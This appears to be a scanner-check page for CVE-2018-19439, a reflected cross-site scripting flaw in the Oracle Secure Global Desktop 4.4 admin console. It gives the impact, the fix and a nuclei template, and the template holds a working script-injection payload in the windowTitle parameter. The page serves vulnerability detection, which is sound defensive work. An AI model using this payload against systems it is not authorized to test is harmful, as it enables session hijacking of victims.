Oracle Secure Global Desktop Administration Console 4.4 - Cross-Site Scripting

mediumseverity

6.1CVSS score

20.5%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Oracle Secure Global Desktop Administration Console 4.4 contains a reflected cross-site scripting vulnerability in helpwindow.jsp via all parameters, as demonstrated by the sgdadmin/faces/com_sun_web_ui/help/helpwindow.jsp windowTitle parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking or unauthorized actions.

Fix

Fixed in later versions including 5.4.

How to confirm it

Send: GET {{BaseURL}}/sgdadmin/faces/com_sun_web_ui/help/helpwindow.jsp?=&windowTitle=AdministratorHelpWindow></TITLE></HEAD><body><script>alert(1337)</script>…
Positive when: contains "<script>alert(1337)</script><!--</TITLE>"

Run it with nuclei: nuclei -id CVE-2018-19439 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-19439

info:
  name: Oracle Secure Global Desktop Administration Console 4.4 - Cross-Site Scripting
  author: madrobot,dwisiswant0
  severity: medium
  description: Oracle Secure Global Desktop Administration Console 4.4 contains a reflected cross-site scripting vulnerability in helpwindow.jsp via all parameters, as demonstrated by the sgdadmin/faces/com_sun_web_ui/help/helpwindow.jsp windowTitle parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking or unauthorized actions.
  remediation: Fixed in later versions including 5.4.
  reference:
    - http://packetstormsecurity.com/files/150444/Oracle-Secure-Global-Desktop-Administration-Console-4.4-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-19439
    - http://seclists.org/fulldisclosure/2018/Nov/58
    - https://github.com/sobinge/nuclei-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-19439
    cwe-id: CWE-79
    epss-score: 0.20457
    epss-percentile: 0.97522
    cpe: cpe:2.3:a:oracle:secure_global_desktop:4.4:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: oracle
    product: secure_global_desktop
  tags: cve,cve2018,oracle,xss,seclists,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/sgdadmin/faces/com_sun_web_ui/help/helpwindow.jsp?=&windowTitle=AdministratorHelpWindow></TITLE></HEAD><body><script>alert(1337)</script><!--&>helpFile=concepts.html"

    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(1337)</script><!--</TITLE>"

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